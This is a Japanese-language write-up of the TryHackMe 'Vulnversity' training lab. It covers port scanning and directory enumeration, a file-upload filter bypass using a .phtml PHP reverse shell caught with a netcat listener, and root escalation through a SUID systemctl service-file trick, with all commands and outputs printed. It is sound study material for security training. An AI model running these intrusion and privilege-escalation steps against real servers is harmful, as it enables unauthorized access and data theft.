TryHackMe: Vulnversity Writeup

TryHackMeのVulnversityのwriteup。 個人的にメモっといた方が良いなと感じたポイントだけ、まとめておく。

今回からAttackBoxの使用はやめて、OpenVPNを介して自前のKali Linux (VM)から標的マシンにアクセスすることにした。

TryHackMe環境でのOpenVPNのセットアップについてはこちらこちらを参照。

Reconnaissance

Scan the box; how many ports are open?

nmap -Pn 10.10.61.144
root@ip-10-10-195-88:~# nmap -Pn 10.10.61.144

Starting Nmap 7.60 ( https://nmap.org ) at 2024-03-11 12:39 GMT
Nmap scan report for ip-10-10-61-144.eu-west-1.compute.internal (10.10.61.144)
Host is up (0.0013s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3128/tcp open  squid-http
3333/tcp open  dec-notes
MAC Address: 02:5A:F0:36:F7:39 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.66 seconds

答えは6。

What version of the squid proxy is running on the machine?

nmap -A 10.10.61.144
Starting Nmap 7.60 ( https://nmap.org ) at 2024-03-11 12:41 GMT
Nmap scan report for ip-10-10-61-144.eu-west-1.compute.internal (10.10.61.144)
Host is up (0.00040s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 5a:4f:fc:b8:c8:76:1c:b5:85:1c:ac:b2:86:41:1c:5a (RSA)
|   256 ac:9d:ec:44:61:0c:28:85:00:88:e9:68:e9:d0:cb:3d (ECDSA)
|_  256 30:50:cb:70:5a:86:57:22:cb:52:d9:36:34:dc:a5:58 (EdDSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3128/tcp open  http-proxy  Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Vuln University
MAC Address: 02:5A:F0:36:F7:39 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=3/11%OT=21%CT=1%CU=32658%PV=Y%DS=1%DC=D%G=Y%M=025AF0%T
OS:M=65EEFC0E%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=I%TS=8
OS:)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)OPS(O1=M2301ST11NW6%O2=M23
OS:01ST11NW6%O3=M2301NNT11NW6%O4=M2301ST11NW6%O5=M2301ST11NW6%O6=M2301ST11)
OS:WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=
OS:6903%O=M2301NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N
OS:)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=
OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: vulnuniversity
|   NetBIOS computer name: VULNUNIVERSITY\x00
|   Domain name: \x00
|   FQDN: vulnuniversity
|_  System time: 2024-03-11T08:41:45-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-03-11 12:41:45
|_  start_date: 1600-12-31 23:58:45

TRACEROUTE
HOP RTT     ADDRESS
1   0.40 ms ip-10-10-61-144.eu-west-1.compute.internal (10.10.61.144)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.53 seconds

上記スキャン結果より、Squidのバージョンは3.5.12

3128/tcp open  http-proxy  Squid http proxy 3.5.12

How many ports will Nmap scan if the flag -p-400 was used?

答えは400。

What is the most likely operating system this machine is running?

nmap -A 10.10.61.144のスキャン結果より抜粋。

22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
Host script results:
|_nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)

答えはUbuntu

What port is the web server running on?

nmap -A 10.10.61.144のスキャン結果より抜粋。

3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))

答えは3333

What is the flag for enabling verbose mode using Nmap?

-v オプション。

Locating directories using Gobuster

What is the directory that has an upload form page?

gobuster dir -u http://10.10.61.144:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
root@ip-10-10-195-88:~# gobuster dir -u http://10.10.61.144:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.61.144:3333
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/03/11 13:00:00 Starting gobuster
===============================================================
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/internal (Status: 301)
===============================================================
2024/03/11 13:00:21 Finished
===============================================================
root@ip-10-10-195-88:~# 

答えは/internal/

Compromise the Webserver

What common file type you'd want to upload to exploit the server is blocked? Try a couple to find out.

答えは.php

Run this attack, what extension is allowed?

先の設問で発見したファイルアップロード用のURL http://10.10.61.144:3333/internal/に以下の拡張子を持つファイルをアップロードして、アップロードが許可されている拡張子を突き止めよとのこと。

  • .php
  • .php3
  • .php4
  • .php5
  • .phtml

上記の拡張子を持つファイルを手動でアップロードしたところ、.phtml拡張子を持つファイルがアップロードに成功した。

What is the name of the user who manages the webserver?

攻撃の前準備として、こちらよりPHPのReverse shell php-reverse-shell.phpをダウンロードする。

php-reverse-shell.phpをテキストエディタで開いて、IPアドレスを自身の攻撃マシンのIPアドレスに変更する。さらにファイルの拡張子を.phtmlに変更する。(php-reverse-shell.php -> php-reverse-shell.phtml

 http://10.10.61.144:3333/internal/にアクセスして、php-reverse-shell.phtmlをアップロードする。

攻撃マシンにて以下のnetcatコマンドを実行して、Reverse shellからの接続を1234番ポートにて待ち受ける。

nc -lvnp 1234

続けてhttp://10.10.61.144:3333/internal/uploads/php-reverse-shell.phtmlにアクセスしてReverse shellを起動する。

すると、攻撃マシンの1234番ポートにてシェルが起動し、標的のwebサーバー上で任意のコマンドを実行できるようになる。

$  nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.9.221.71] from (UNKNOWN) [10.10.45.98] 59544
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 10:09:21 up 18 min,  0 users,  load average: 0.00, 0.06, 0.21
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

起動したシェルにてwhoamiコマンドを実行。

$ whoami
www-data

しかし、www-dataは正解ではなかった。

試しに/homeを開いてユーザー名を確認してみた。

$ ls /home
bill

正解はbillだった。

What is the user flag?

/home/billuser.txtというファイルを発見。このファイルにフラグが記載されていた。

$ ls /home/bill
user.txt
$ cat /home/bill/user.txt
8bd7992fbe8a6ad22a63361<REDACTED>

Privilege Escalation

On the system, search for all SUID files. Which file stands out?

以下のfindコマンドでSUIDがセットされたバイナリを列挙。

find / -type f -perm -04000 -ls 2>/dev/null
$ find / -type f -perm -04000 -ls 2>/dev/null                                                                                                                                                                      
   402892     36 -rwsr-xr-x   1 root     root        32944 May 16  2017 /usr/bin/newuidmap                                                                                                                         
   393361     52 -rwsr-xr-x   1 root     root        49584 May 16  2017 /usr/bin/chfn                                                                                                                              
   402893     36 -rwsr-xr-x   1 root     root        32944 May 16  2017 /usr/bin/newgidmap                                                                                                                         
   393585    136 -rwsr-xr-x   1 root     root       136808 Jul  4  2017 /usr/bin/sudo                                                                                                                              
   393363     40 -rwsr-xr-x   1 root     root        40432 May 16  2017 /usr/bin/chsh                                                                                                                              
   393501     56 -rwsr-xr-x   1 root     root        54256 May 16  2017 /usr/bin/passwd                                                                                                                            
   406711     24 -rwsr-xr-x   1 root     root        23376 Jan 15  2019 /usr/bin/pkexec                                                                                                                            
   393490     40 -rwsr-xr-x   1 root     root        39904 May 16  2017 /usr/bin/newgrp                                                                                                                            
   393424     76 -rwsr-xr-x   1 root     root        75304 May 16  2017 /usr/bin/gpasswd                                                                                                                           
   405497     52 -rwsr-sr-x   1 daemon   daemon      51464 Jan 14  2016 /usr/bin/at                                                                                                                                
   406941    100 -rwsr-sr-x   1 root     root        98440 Jan 29  2019 /usr/lib/snapd/snap-confine                                                                                                                
   406710     16 -rwsr-xr-x   1 root     root        14864 Jan 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1                                                                                                 
   405145    420 -rwsr-xr-x   1 root     root       428240 Jan 31  2019 /usr/lib/openssh/ssh-keysign                                                                                                               
   393687     12 -rwsr-xr-x   1 root     root        10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device                                                                                                          
   666971     76 -rwsr-xr-x   1 root     root        76408 Jul 17  2019 /usr/lib/squid/pinger                                                                                                                      
   402037     44 -rwsr-xr--   1 root     messagebus    42992 Jan 12  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper                                                                                              
   402829     40 -rwsr-xr-x   1 root     root          38984 Jun 14  2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic                                                                                               
   131164     40 -rwsr-xr-x   1 root     root          40128 May 16  2017 /bin/su                                                                                                                                  
   133166    140 -rwsr-xr-x   1 root     root         142032 Jan 28  2017 /bin/ntfs-3g                                                                                                                             
   131133     40 -rwsr-xr-x   1 root     root          40152 May 16  2018 /bin/mount                                                                                                                               
   131148     44 -rwsr-xr-x   1 root     root          44680 May  7  2014 /bin/ping6                                                                                                                               
   131182     28 -rwsr-xr-x   1 root     root          27608 May 16  2018 /bin/umount                                                                                                                              
   131166    648 -rwsr-xr-x   1 root     root         659856 Feb 13  2019 /bin/systemctl                                                                                                                           
   131147     44 -rwsr-xr-x   1 root     root          44168 May  7  2014 /bin/ping                                                                                                                                
   133163     32 -rwsr-xr-x   1 root     root          30800 Jul 12  2016 /bin/fusermount                                                                                                                          
   405750     36 -rwsr-xr-x   1 root     root          35600 Mar  6  2017 /sbin/mount.cifs 

答えは/bin/systemctl

It's challenge time! We have guided you through this far. Can you exploit this system further to escalate your privileges and get the final answer? Become root and get the last flag (/root/root.txt)

root.txtのある/rootディレクトリはrootユーザーのみがアクセス可能。

$ ls -la /root
ls: cannot open directory '/root': Permission denied
$     
$ ls -ld /root
drwx------ 4 root root 4096 Jul 31  2019 /root
$ 

先の設問で見つけた/bin/systemctlを使えばファイルにアクセスできそうである。

シェルにて以下のコマンドを実行した。

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt  > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF

上記のコマンドはcat /root/root.txt > /tmp/outputというコマンドを実行するサービスを作成・起動する。(ほぼ、ここからコピペ)

サービスを起動。

$ systemctl link $TF
$ systemctl enable --now $TF
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.vrrEQrSs6E.service to /tmp/tmp.vrrEQrSs6E.service.
$ ls -l /tmp
total 12
-rw-r--r-- 1 root     root       33 Mar 12 08:40 output
drwx------ 3 root     root     4096 Mar 12 08:33 systemd-private-063097fefe824f59a144389a96b9ee1e-systemd-timesyncd.service-KzMPFv
-rw------- 1 www-data www-data    0 Mar 12 08:37 tmp.vrrEQrSs6E
-rw-rw-rw- 1 www-data www-data  117 Mar 12 08:37 tmp.vrrEQrSs6E.service
$   

/tmpディレクトリにoutputというファイルが作成された。このファイルに/root/root.txtの内容が記載されている。

$ cat /tmp/output
a58ff8579f0a9270368d33a9<REDACTED>

Leave a Reply

Your email address will not be published. Required fields are marked *